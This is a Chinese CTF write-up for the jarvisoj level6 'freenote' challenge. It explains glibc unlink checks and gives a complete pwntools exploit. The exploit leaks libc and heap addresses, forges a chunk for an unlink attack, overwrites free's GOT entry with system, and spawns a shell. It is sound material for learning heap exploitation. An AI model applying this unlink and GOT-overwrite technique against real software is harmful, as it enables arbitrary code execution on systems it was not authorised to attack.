1. 程式人生 > >jarvisoj(level6)--unlink

jarvisoj(level6)--unlink

  1. glibc 判斷這個塊是 small chunk。
  2. 判斷前向合併,發現前一個 chunk 處於使用狀態,不需要前向合併。
  3. 判斷後向合併,發現後一個 chunk 處於空閒狀態,需要合併。
  4. 繼而對 nextchunk 採取 unlink 操作。

在這裡插入圖片描述 這裡需要清楚的一點是unlink本身是一個函式,unlink§進入函式的時候知道的只有P。 第一步就是找到P的前後的chunk。

unlink檢查的細節。會檢查P->fd->bk==P,P->bk->fd==P。

// 由於P已經在雙向連結串列中,所以有兩個地方記錄其大小,所以檢查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

所以構造unlink的時候就出現了限制。 具體過程如下(以32位為例) 在這裡插入圖片描述 這裡是三部分是同一塊空間可以向chunk P中寫如資料,有一點需要注意fd後面的箭頭指向的內容就是fd裡面的內容,可以滿足bk位置處指向P,fd位置處指向P(跟ptr的指標位置處重合,填入的資料就是P的地址)(小寫的p和ptr是相同的) 在這裡插入圖片描述 (這裡的p=ptr)只分析最後一步,BK->fd=FD執行這個其實就是畫個箭頭,也就是向BK的fd空位置處寫入資料,寫入的資料是ptr減去12,執行完之後的結果就是ptr=ptr-12

藉助unlink需要的條件:如果有堆溢位最好,如果沒有至少需要一個UAF漏洞在讓程式能夠第二次free。

資料的結構很簡單 先申請一個chunk大小是0xc18用來存放下一個chunk的資訊。 裡面存放的是標誌位1,size=8,下一個node的地址=0x08f81c20 …

pwndbg> x /100xw 0x8f81000
0x8f81000:	0x00000000	0x00000c19	0x00000100	0x00000002
0x8f81010:	0x00000001	0x00000008	0x08f81c20	0x00000001
0x8f81020:	0x00000008	0x08f81ca8	0x00000000	0x00000000

漏洞: 在free的時候沒有把指標設定為NULL,雖然堆edit有檢查,但是對free並沒有檢查,可以構造unlink。

思路:多次malloc小chunk然後free,之後malloc大chunk申請到原本free掉的空間。更改fd和bk還有prive_inuse位然後再次free就會實現上述的寫入。更改每個node的地址,實現任意地址寫。 (其實就是small bin或者unsort bin的double free) 利用需要:需要堆的地址(每個node的指標都是存放在堆裡的),需要libc的載入地址。

#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
gdb.attach(p)
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()

構造fake chunk進行unlink

#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2

new(payload)
delete(1)

new("A"*20)
List()

這裡需要注意:unlink是三個chunk的操作要滿足 1.被unlink的chunk P中需要偽造size,fd,bk,還要注意一個next_prive_chunk_size。 2.需要P的下一個chunk的prive_size,prive_inuse=0 3.需要P的下一個chunk的下一個chunk的size的prive_inuse位為1

free掉P_next,設定P_next_next_prive_inuse=0,會檢查前一個chunk,為空,進行unlink(P) 執行的結果

pwndbg> x /100xw 0x9e2e000
0x9e2e000:	0x00000000	0x00000c19	0x00000100	0x00000001
0x9e2e010:	0x00000001	0x00000109	0x09e2e00c	0x00000001
0x9e2e020:	0x00000015	0x09e2ec28	0x00000000	0x00000000
0x9e2e030:	0x09e2ed30	0x00000000	0x00000000	0x09e2edb8
0x9e2e040:	0x00000000	0x00000000	0x00000000	0x00000000

chunk的P被寫入位(&P)-12 完整exp

from pwn import *
#context.log_level="debug"
offset=0x1b27b0
def local():
	global p,elf,libc,env
	env = {'LD_PRELOAD': './libc.so.6'}
	p=process("./freenote_x86")
	elf=ELF("./freenote_x86")
	libc=ELF("./libc.so.6")

	
def new(content):
	p.recvuntil("Your choice: ")
	p.sendline("2")
	p.recvuntil("Length of new note: ")
	p.sendline(str(len(content)+1))
	p.recvuntil("Enter your note: ")
	p.sendline(content)
	p.recvuntil("Done.")
	
def List():
	p.recvuntil("Your choice: ")
	p.sendline("1") 


def Edit(index,content):
	p.recvuntil("Your choice: ")
	p.sendline("3")
	p.recvuntil("Note number: ")
	p.sendline(str(index))
	p.recvuntil("Length of note: ")
	p.sendline(str(len(content)+1))
	p.recvuntil("Enter your note: ")
	p.sendline(content)
	
def delete(index):
	p.recvuntil("Your choice: ")
	p.sendline("4")
	p.recvuntil("Note number: ")
	p.sendline(str(index))
	
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1

delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()

#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2

new(payload)
delete(1)

new("A"*20)
List()
gdb.attach(p)
#############################reset got
system_addr=libc_base+libc.symbols["system"]
print "system_addr="+hex(system_addr)
#gdb.attach(p)
payload=p32(1)+p32(1)+p32(0x109)+p32(heap_base+0x18-12)#chunk0
payload+=p32(1)+p32(5)+p32(elf.got['free'])#chunk1
payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_base+0xd30)#chunk2
payload=payload.ljust(0x108,"A")
Edit(0,payload)

########################get shell
Edit(1,p32(system_addr))
Edit(2,"/bin/sh")
delete(2)

p.interactive()

裡面出現的偏移不知道,遠端和本地庫不一樣,不知道怎麼獲取到遠端庫偏移。 希望知道的大佬評論,感謝